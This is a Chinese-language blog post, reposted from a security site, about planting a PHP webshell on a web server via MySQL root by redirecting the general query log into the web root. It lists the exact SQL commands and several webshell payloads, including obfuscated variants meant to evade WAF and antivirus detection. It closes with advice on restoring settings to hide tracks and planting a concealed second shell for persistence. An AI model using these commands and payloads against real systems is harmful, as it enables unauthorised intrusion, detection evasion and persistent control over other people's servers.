利用mysql general log 写shell 可行性简要分析

暗月博客 2019年11月21日23:14:50评论661 views字数 1893阅读6分18秒阅读模式
摘要

0×01 前言:    实际渗透 过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root 权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权 ,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你

0×01 前言:

   实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么都写不进去,前提可以肯定的是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你

利用mysql general log 写shell 可行性简要分析

0×02 拿shell:

   利用mysql日志文件来写shell,究其原理其实也非常简单,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置,其实,这里稍微有点儿mysql常识心里都很清楚:

先看下当前mysql默认的日志位置在什么地方,'C:/ProgramData/MySQL/MySQL Server 5.5/Data/2008R2DC.log' 顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来 mysql> show variables like '%general%';  默认基本都是关闭的,不然这个增删改查的记录量可能会非常大 mysql> set global general_log = on;     

 利用mysql general log 写shell 可行性简要分析

此时,再将原本的日志文件位置指向到目标网站的物理路径 mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php';  开始写shell,这里就是个普通的shell,不免杀,如果有waf的话,可以用下面的免杀shell 
利用mysql general log 写shell 可行性简要分析

利用mysql general log 写shell 可行性简要分析

 mysql> select '<?php eval($_POST[request]);?>';

mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";    免杀shell,eval方式 mysql> SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['klion']));?>";     别人的免杀shell,assert&base64encode方式 

0×03 务必要处理好后事

最后,干完活儿以后务必记得把配置恢复原状,然后悄悄的离开就好 [不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡] 拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章] 然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快 mysql> set global general_log_file = 'C:/ProgramData/MySQL/MySQL Server 5.5/Data/2008R2DC.log'; mysql> set global general_log = off; 

0×04 后话

   并不是什么特别新奇的技巧,都是mysql自身的一些基础特性挖掘利用,大家真正的理解才是主要的,利用过程中可能并非一帆风顺,把解决问题的过程记录下来,才是你真正的收获,祝大家好运

0×05 想成功利用的两个必要条件

事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢 因为我们从外部能访问并执行webshell的地方只有目标的网站目录 当前数据库服务用户对所上面指向的目标网站目录必须能写,不然,log文件是根本没法创建的 其实,说实话,能同时满足这两点的目标并不多 如果目标网站对错误处理的很好,web服务用户和数据库用户权限隔离很清晰基本也是很难利用成功的,确实略显积累,但不失为一种好思路,非常值得拓展 像这种东西可能还是比较适合那些集成环境,比如,appserv,xampp... 因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高[实际上多数都直接是system]  http://www.freebuf.com/column/150308.html 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日23:14:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用mysql general log 写shell 可行性简要分析https://cn-sec.com/archives/74100.html

发表评论

匿名网友 填写信息